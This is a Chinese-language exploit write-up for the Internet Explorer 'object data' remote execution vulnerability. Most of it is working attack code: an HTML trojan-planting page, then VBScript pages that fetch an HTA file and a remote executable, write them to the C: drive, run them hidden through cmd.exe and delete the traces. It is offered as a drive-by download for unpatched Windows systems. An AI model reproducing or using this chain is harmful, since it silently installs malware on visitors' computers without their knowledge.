一、internet explorer object data remote execution vulnerability
利用internet explorer object data remote execution vulnerability
eeye digital security在8月20号公布了这个漏洞,该漏洞是由于html中的object的data标签引起的。对于data所标记的url,ie会根据服务器返回的http头中的content-type来处理数据,也就是说如果http头中返回的是application/hta等。那么该文件就能够执行,而不管ie的安全级别多高。
------------test.htm(木马种植页面)中插入如下代码-------------------
<html>
<body>
this is a test
if success,,your os will download a appliction and auto run it
of course,os must be 2k/xp/nt/2003..... and didn't patch.
<object data="http://127.0.0.1/test.asp";;;></object>
</body>
-------------------------------
<html>
<object id=wsh classid=clsid:f935dc22-1cf0-11d0-adb9-00c04fd58a0b></object>
<script language="vbscript">
function httpdoget(url)
set oreq = createobject("microsoft.xmlhttp")
oreq.open "get",url,false
oreq.send
if oreq.status=200 then
httpdoget=oreq.responsetext
savefile httpdoget,"c:\win.hta" '在c:根目录下生成hta文件
set oreq=nothing
end if
end function
'保存文本文件,生成本地hta。
sub savefile(str,fname)
dim fso, tf
set fso = createobject("scripting.filesystemobject")
set tf = fso.createtextfile(fname, true)
tf.write str
tf.close
exewin()
end sub
'运行函数
sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.hta",0)
window.close
end sub
'得到本地hta文件
httpdoget("http://127.0.0.1/ism.mm";;)
</script>
</html>
-------------------------------
---------ism.mm(木马主页面之二:本地hta页面)顶部写如下代码----------------------
<html>
<object id=wsh classid=clsid:f935dc22-1cf0-11d0-adb9-00c04fd58a0b></object>
<script language="vbscript">
function httpdoget(url)
set oreq = createobject("microsoft.xmlhttp")
oreq.open "get",url,false
oreq.send
if oreq.status=200 then
httpdoget=oreq.responsebody
savefile httpdoget,"c:\win.exe" '在c:根目录下生成exe文件
end if
set oreq=nothing
end function
'保存二进制文件,在本地生成exe文件。
sub savefile(str,fname)
set objstream = createobject("adodb.stream")
objstream.type = 1
objstream.open
objstream.write str
objstream.savetofile fname,2
objstream.close()
set objstream = nothing
exewin()
end sub
'运行函数,执行已经下载的exe程序。
sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.exe",0)
b=wshshell.run ("cmd.exe /c del c:\win.hta",0)
window.close
end sub
'得到远程木马程序
httpdoget "http://127.0.0.1/win.exe";;